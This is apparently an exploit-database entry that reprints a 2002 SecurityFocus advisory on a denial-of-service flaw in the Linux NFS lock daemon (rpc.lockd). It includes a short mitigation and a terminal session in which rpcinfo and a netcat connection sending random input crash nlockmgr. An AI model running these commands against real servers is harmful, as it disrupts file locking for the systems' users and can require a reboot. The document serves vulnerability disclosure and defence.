Denial of Service Attack in NFS Lock Daemon

vendor:

NFS Lock Daemon

by:

SecurityFocus

7.5

CVSS

HIGH

Denial of Service Attack

399

CWE

Product Name: NFS Lock Daemon

Affected Version From: All

Affected Version To: All

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2002

Denial of Service Attack in NFS Lock Daemon

A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.

Mitigation:

Restrict access to the port rpc.lockd is running on, and ensure that only valid input is accepted.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1372/info

A denial of service attack exists in the NFS lock daemon supplied with Linux. By connecting to the port rpc.lockd is running on, and supplying random input, it will cause lockd to exit with an error. The socket associated with rpc.lockd is also not properly released, and cannot be rebound to without a reboot.

This vulnerability most likely affects all Linux distributions running NFS. 

[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#